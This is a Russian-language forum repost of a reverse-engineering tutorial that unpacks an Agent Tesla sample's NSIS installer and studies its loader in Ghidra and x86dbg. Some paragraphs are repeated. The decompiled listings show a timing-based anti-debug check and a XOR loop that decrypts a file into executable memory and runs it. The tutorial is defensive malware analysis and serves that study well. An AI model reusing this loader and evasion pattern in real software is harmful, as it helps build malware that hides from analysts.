D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Недавно мне попался интересный экземпляр малвари под названием Agent Tesla. Он распространен и используется по сей день (семпл 2023 года). Предлагаю попробовать исследовать его и посмотреть, что внутри у боевой малвари.
Кроме того, мы столкнемся:
Извлекаем содержимое инсталлятора и получаем несколько файлов. Обрати внимание, что среди распакованных файлов должен быть скрипт NSIS, который содержит полезную информацию. Для распаковки я использовал устаревшую версию 7-Zip (поддержка извлечения скриптов начинается с версии 4.42 и прекращается в версии 15.06).
В этой части скрипта мы видим список файлов в инсталляторе и параметры запуска единственного .exe (это интересно и пригодится нам в дальнейшем). Среди прочих данных скрипта есть путь установки InstallDir $TEMP. Теперь посмотрим на PE-файл в DiE.
Видно, что файл написан на C/C++, скомпилирован для 32-битных систем и, судя по не особенно высокой энтропии, не запакован. Пришло время загрузить его в Ghidra.
Мы могли бы попробовать пойти «быстрым» путем: загрузить вредонос в отладчик, поставить бряк на VirtualAlloc и... обломаться, потому что Agent Tesla завершится раньше бряка. Поэтому всегда советую в первую очередь осмотреть интересные вызовы и прилегающий к ним код в статике.
Функция небольшая, приведу листинг декомпилятора Ghidra полностью. Тем более что она нам интересна почти вся.
Код: Скопировать в буфер обмена
Здесь сразу бросаются в глаза строки кода, содержащие простую антиотладку:
Код: Скопировать в буфер обмена
Это известный антиотладочный прием, который проверяет скорость выполнения кода. Если код выполняется слишком медленно (замеряем время выполнения в миллисекундах при помощи двух вызовов GetTickCount), переменная BVar3 принимает значение 0, и программа завершается.
Следующий интересный кусок кода открывает файл, и, если сделать это не получается, программа также завершается. Я не зря уже говорил, что нужно сначала изучить код в статике и только потом идти в отладчик. Так почему же исполняемый файл завершается до нашего брейк‑пойнта? Давай посмотрим, что за файл от нас тут ждут:
Код: Скопировать в буфер обмена
Код: Скопировать в буфер обмена
В этом коде наша функция FUN_00401300 уже названа мной main, но как я узнал об этом? Смотрим внимательно и видим, что вызывающая main функция имеет название __cdecl __scrt_common_main_seh(void). То есть эта функция — начало рантайма CRT. Она делает необходимые настройки (в том числе SEH, как видно из названия) и затем уже загружает функцию main, которая имеет прототип main(int argc, const char **argv, const char **envp), то есть ожидает три аргумента. Далее вспоминаем, что наше приложение — 32-битное, поэтому вызывающий код будет выглядеть примерно так:
Код: Скопировать в буфер обмена
В декомпилированном листинге видим вот что (аргумент OpenFileArg уже назван мной):
Код: Скопировать в буфер обмена
Аргументы извлекаются вызовом функции __get_narrow_winmain_command_line(), кроме того, вызывается метод ___scrt_get_show_window_mode(), который сигнализирует, показывать окно приложения или нет. Также видим функции инициализации и деинициализации CRT: ___scrt_initialize_crt и ___scrt_uninitialize_crt. Одним словом, мы однозначно определяем, что это обвязка CRT для функции main, и при помощи шагов, описанных выше, определяем точку входа в main.
Перед нами хороший пример того, сколько кода компилятор автоматически укладывает в создаваемое приложение. Мы пишем простой «Hello, world», состоящий из одной функции MessageBox, а в таблице импорта видим много интересного. Чтобы избежать подобного, нужно поколдовать над настройками проекта.
Код: Скопировать в буфер обмена
Здесь много интересного: и вызов VirtualAlloc, за который мы уцепились, чтобы попасть сюда, и цикл, который ксорит данные по ключу, расшифровывая их, и вызов (*_Dst)();, который выполняет расшифрованный код. Я снабдил листинг подробными комментариями, чтобы была понятна логика.
Разумеется, тех же результатов мы смогли бы достичь, используя отладчик, но я захотел показать, как это можно сделать, не вылезая из дизассемблера и используя только статический анализ.
Так, функции дешифровки и ее логика локализованы, теперь потребуется динамика! Расчехляем отладчик x86dbg, чтобы извлечь наш расшифрованный шелл‑код в отдельный файл.
Теперь устанавливаем точку останова на VirtualAlloc и запускаемся. Таким образом мы проскочим антиотладку и проверку аргумента, который помешал бы нам нормально запуститься (потому что аргумент мы заполнили на предыдущем шаге), и остановимся на VirtualAlloc. Далее ее необходимо выполнить до ret, завершив работу функции. Наблюдаем следующую картину: в EAX у нас хранится адрес выделенной VirtualAlloc памяти, которую мы просматриваем в окне дампа. Мы знаем, что расшифровка пойдет в этот буфер, поэтому ставим точку останова по доступу на начало буфера, ожидая там появления данных. После этого зашифрованный код скопируется в буфер, и мы увидим это в окне дампа.
С учетом знаний, полученных на этапе статического анализа, мы знаем, что следом после копирования зашифрованных данных в буфер идет его расшифровка. Ставим бряк сразу после цикла расшифровки и видим, как данные в буфере изменились. Теперь, дизассемблировав их вручную (Follow in Disassembler в x86dbg), можно убедиться, что это осмысленный код.
Как видно на скрине, мы пришли к тому, что шелл‑код полностью расшифрован и готов выполняться. Теперь нам нужно его сохранить в отдельный файл, чтобы продолжить исследования позднее. Вызываем команду Follow in Memory Map из контекстного меню дампа и перемещаемся к карте памяти.
Далее жмем Dump Memory to File в контекстном меню и тем самым сохраняем выделенную память. Обрати внимание на права этой области памяти — ERW (то же, что RWX), говорящие о том, что память готова выполниться (красный флаг для антивируса!). Полученный дамп можно будет загрузить как файл в Ghidra для дальнейших исследований. Единственная загвоздка в том, что нужно вручную выбрать параметры анализа в дизассемблере.
Так как изначальный файл был 32-битный и собран в Visual Studio, такие же параметры выбираем для шелл‑кода.
Автор @xtahi0nix aka Nik Zerof
источник xakep.ru
Кроме того, мы столкнемся:
- с распаковкой инсталлятора NSIS и анализом полученного инсталляционного скрипта, который нам поможет в распаковке;
- поиском функции main при ее обвязке в CRT (можно будет удивиться, сколько кода неявно закидывает компилятор в .exe);
- расшифровкой и дампингом шелл‑кода и предварительным поиском его по функции выделения памяти;
- правильной загрузкой полученного шелл‑кода в дизассемблер.
ПОДГОТОВИТЕЛЬНЫЕ РАБОТЫ
Начинаем этап предварительной разведки: закидываем семпл в детектор пакеров и протекторов DiE. Выясняем, что малварь поставляется в виде инсталлятора NSIS.
Извлекаем содержимое инсталлятора и получаем несколько файлов. Обрати внимание, что среди распакованных файлов должен быть скрипт NSIS, который содержит полезную информацию. Для распаковки я использовал устаревшую версию 7-Zip (поддержка извлечения скриптов начинается с версии 4.42 и прекращается в версии 15.06).

В этой части скрипта мы видим список файлов в инсталляторе и параметры запуска единственного .exe (это интересно и пригодится нам в дальнейшем). Среди прочих данных скрипта есть путь установки InstallDir $TEMP. Теперь посмотрим на PE-файл в DiE.

Видно, что файл написан на C/C++, скомпилирован для 32-битных систем и, судя по не особенно высокой энтропии, не запакован. Пришло время загрузить его в Ghidra.
РЕВЕРСИМ
Среди функций, перечисленных в таблице импорта, есть упоминание VirtualAlloc. Она‑то нас и интересует, потому что малварь часто использует ее для выделения памяти под распаковку. Восстанавливаем перекрестную ссылку и видим функцию, в которой она вызывается.Мы могли бы попробовать пойти «быстрым» путем: загрузить вредонос в отладчик, поставить бряк на VirtualAlloc и... обломаться, потому что Agent Tesla завершится раньше бряка. Поэтому всегда советую в первую очередь осмотреть интересные вызовы и прилегающий к ним код в статике.
Функция небольшая, приведу листинг декомпилятора Ghidra полностью. Тем более что она нам интересна почти вся.
Код: Скопировать в буфер обмена
Код:
BOOL FUN_00401300(undefined4 param_1,undefined4 param_2,LPCSTR param_3)
{
DWORD DVar1;
DWORD DVar2;
BOOL BVar3;
HANDLE hFile;
HANDLE hFileMappingObject;
LPVOID _Src;
code *_Dst;
int local_8;
DVar1 = GetTickCount();
Sleep(702);
DVar2 = GetTickCount();
if (DVar2 - DVar1 < 700) {
BVar3 = 0;
}
else {
hFile = CreateFileA(param_3,0x80000000,1,0x0,3,0x80,0x0);
if (hFile == 0xffffffff) {
BVar3 = 0;
}
else {
hFileMappingObject = CreateFileMappingA(hFile,0x0,2,0,0,0x0);
if (hFileMappingObject == 0x0) {
CloseHandle(hFile);
BVar3 = 0;
}
else {
_Src = MapViewOfFile(hFileMappingObject,4,0,0,0x1de0);
if (_Src == 0x0) {
CloseHandle(hFileMappingObject);
CloseHandle(hFile);
BVar3 = 0;
}
else {
_Dst = VirtualAlloc(0x0,0x1de0,0x1000,0x40);
if (_Dst == 0x0) {
UnmapViewOfFile(_Src);
CloseHandle(hFileMappingObject);
CloseHandle(hFile);
BVar3 = 0;
}
else {
FID_conflict:_memcpy(_Dst,_Src,0x1de0);
for (local_8 = 0; local_8 < 0x16c2; local_8 = local_8 + 1) {
_Dst[local_8] = _Dst[local_8] ^ s_248058040134_0041c2a4[local_8 % 0xc];
}
(*_Dst)();
VirtualFree(_Dst,0,0x8000);
UnmapViewOfFile(_Src);
CloseHandle(hFileMappingObject);
BVar3 = CloseHandle(hFile);
}
}
}
}
}
return BVar3;
}
Код: Скопировать в буфер обмена
Код:
DVar1 = GetTickCount();
Sleep(702);
DVar2 = GetTickCount();
if (DVar2 - DVar1 < 700) {
BVar3 = 0;
}
else {
Следующий интересный кусок кода открывает файл, и, если сделать это не получается, программа также завершается. Я не зря уже говорил, что нужно сначала изучить код в статике и только потом идти в отладчик. Так почему же исполняемый файл завершается до нашего брейк‑пойнта? Давай посмотрим, что за файл от нас тут ждут:
Код: Скопировать в буфер обмена
Код:
hFile = CreateFileA(param_3,0x80000000,1,0x0,3,0x80,0x0);
if (hFile == 0xffffffff) {
BVar3 = 0;
Определяем функцию main
Разумеется, нам интересен аргумент param_3, который сообщает функции CreateFileA путь к файлу. Этот аргумент выходит за пределы нашей функции, и мы находим единственную перекрестную ссылку на эту функцию, которая ведет нас вот в такой код. Обрати внимание на десять интересных функций, которые помогут косвенно определить, где мы находимся!Код: Скопировать в буфер обмена
Код:
int __cdecl __scrt_common_main_seh(void)
{
code *pcVar1;
bool bVar2;
undefined4 uVar3;
int iVar4;
code **ppcVar5;
_func_void_void_ptr_ulong_void_ptr **pp_Var6;
byte *OpenFileArg;
uint uVar7;
BOOL unaff_ESI;
undefined4 uVar8;
undefined4 uVar9;
void *local_14;
// Интересная функция 1
uVar3 = ___scrt_initialize_crt(1);
if (uVar3 != '\0') {
bVar2 = false;
// Интересная функция 2
uVar3 = ___scrt_acquire_startup_lock();
if (DAT_0041cb9c != 1) {
if (DAT_0041cb9c == 0) {
DAT_0041cb9c = 1;
iVar4 = __initterm_e(&DAT_00414238,&DAT_00414254);
if (iVar4 != 0) {
ExceptionList = local_14;
return 0xff;
}
FUN_00407131(&DAT_0041422c,&DAT_00414234);
DAT_0041cb9c = 2;
}
else {
bVar2 = true;
}
// Интересная функция 3
___scrt_release_startup_lock(uVar3);
ppcVar5 = FUN_00401e6e();
if ((*ppcVar5 != 0x0) &&
(uVar3 = ___scrt_is_nonwritable_in_current_image(ppcVar5),
// Интересная функция 4
uVar3 != '\0')) {
pcVar1 = *ppcVar5;
uVar9 = 0;
uVar8 = 2;
uVar3 = 0;
// Интересная функция 5
_guard_check_icall();
(*pcVar1)(uVar3,uVar8,uVar9);
}
pp_Var6 = FUN_00401e74();
if ((*pp_Var6 != 0x0) &&
(uVar3 = ___scrt_is_nonwritable_in_current_image(pp_Var6),
// Интересная функция 6
uVar3 != '\0')) {
// Интересная функция 7
__register_thread_local_exe_atexit_callback(*pp_Var6);
}
// Интересная функция 8
___scrt_get_show_window_mode();
// Интересная функция 9
OpenFileArg = __get_narrow_winmain_command_line();
unaff_ESI = main(0x400000,0,OpenFileArg); // !
uVar7 = FUN_00401fcb();
if (uVar7 != '\0') {
if (!bVar2) {
__cexit();
}
// Интересная функция 10
___scrt_uninitialize_crt('\x01','\0');
ExceptionList = local_14;
return unaff_ESI;
}
goto LAB_00401afd;
}
}
FUN_00401e7a(7);
LAB_00401afd:
_exit(unaff_ESI);
Код: Скопировать в буфер обмена
Код:
push edi
push esi
push [eax]
call main
Код: Скопировать в буфер обмена
Код:
___scrt_get_show_window_mode();
OpenFileArg = __get_narrow_winmain_command_line();
unaff_ESI = main(0x400000,0,OpenFileArg);
Перед нами хороший пример того, сколько кода компилятор автоматически укладывает в создаваемое приложение. Мы пишем простой «Hello, world», состоящий из одной функции MessageBox, а в таблице импорта видим много интересного. Чтобы избежать подобного, нужно поколдовать над настройками проекта.
Расшифровываем шелл-код
Итак, мы можем сделать вывод, что параметр param_3, ради которого мы провели это небольшое исследование, — это не что иное, как путь, передаваемый как аргумент командной строки. Вспоминаем, что в скрипте инсталлятора мы видели строчку, начинающуюся с ExecWait. Она говорит нам о том, что в качестве аргумента передается файл pgkayd.aq, который находится в числе файлов инсталлятора. Идем по функции main дальше и видим:Код: Скопировать в буфер обмена
Код:
// Выделяем память
_Dst = VirtualAlloc(0x0,0x1de0,0x1000,0x40);
// Если вызов VirtualAlloc неудачный, производим очистку и идем на завершение
if (_Dst == 0x0) {
UnmapViewOfFile(_Src);
CloseHandle(hFileMappingObject);
CloseHandle(hFile);
BVar3 = 0;
}
else {
// Копируем данные в выделенную область при помощи memcpy
FID_conflict:_memcpy(_Dst,_Src,0x1de0);
// А это цикл расшифровки данных, основанный на XOR
for (local_8 = 0; local_8 < 0x16c2; local_8 = local_8 + 1) {
_Dst[local_8] = _Dst[local_8] ^ s_248058040134_0041c2a4[local_8 % 0xc];
}
// Вызов расшифрованного кода
(*_Dst)();
Разумеется, тех же результатов мы смогли бы достичь, используя отладчик, но я захотел показать, как это можно сделать, не вылезая из дизассемблера и используя только статический анализ.
Так, функции дешифровки и ее логика локализованы, теперь потребуется динамика! Расчехляем отладчик x86dbg, чтобы извлечь наш расшифрованный шелл‑код в отдельный файл.
Вытаскиваем шелл-код отдельным файлом
Чтобы вытащить расшифрованный шелл‑код, нам нужно запустить файл в отладчике. Из файла скрипта NSIS помним, что для корректного запуска в наш exe’шник нужно передать в качестве аргумента файл pgkayd.aq. Все это можно настроить прямо в интерфейсе x86dbg.
Теперь устанавливаем точку останова на VirtualAlloc и запускаемся. Таким образом мы проскочим антиотладку и проверку аргумента, который помешал бы нам нормально запуститься (потому что аргумент мы заполнили на предыдущем шаге), и остановимся на VirtualAlloc. Далее ее необходимо выполнить до ret, завершив работу функции. Наблюдаем следующую картину: в EAX у нас хранится адрес выделенной VirtualAlloc памяти, которую мы просматриваем в окне дампа. Мы знаем, что расшифровка пойдет в этот буфер, поэтому ставим точку останова по доступу на начало буфера, ожидая там появления данных. После этого зашифрованный код скопируется в буфер, и мы увидим это в окне дампа.

С учетом знаний, полученных на этапе статического анализа, мы знаем, что следом после копирования зашифрованных данных в буфер идет его расшифровка. Ставим бряк сразу после цикла расшифровки и видим, как данные в буфере изменились. Теперь, дизассемблировав их вручную (Follow in Disassembler в x86dbg), можно убедиться, что это осмысленный код.

Как видно на скрине, мы пришли к тому, что шелл‑код полностью расшифрован и готов выполняться. Теперь нам нужно его сохранить в отдельный файл, чтобы продолжить исследования позднее. Вызываем команду Follow in Memory Map из контекстного меню дампа и перемещаемся к карте памяти.

Далее жмем Dump Memory to File в контекстном меню и тем самым сохраняем выделенную память. Обрати внимание на права этой области памяти — ERW (то же, что RWX), говорящие о том, что память готова выполниться (красный флаг для антивируса!). Полученный дамп можно будет загрузить как файл в Ghidra для дальнейших исследований. Единственная загвоздка в том, что нужно вручную выбрать параметры анализа в дизассемблере.

Так как изначальный файл был 32-битный и собран в Visual Studio, такие же параметры выбираем для шелл‑кода.
ВЫВОДЫ
Итак, в этой статье мы достаточно многому научились: разобрались с NSIS-скриптом, справились с распаковкой, расшифровали шелл‑код и сохранили нашу работу. И проделали это все в Ghidra (и в x86dbg), избавив себя от необходимости использовать платную IDA Pro.Автор @xtahi0nix aka Nik Zerof
источник xakep.ru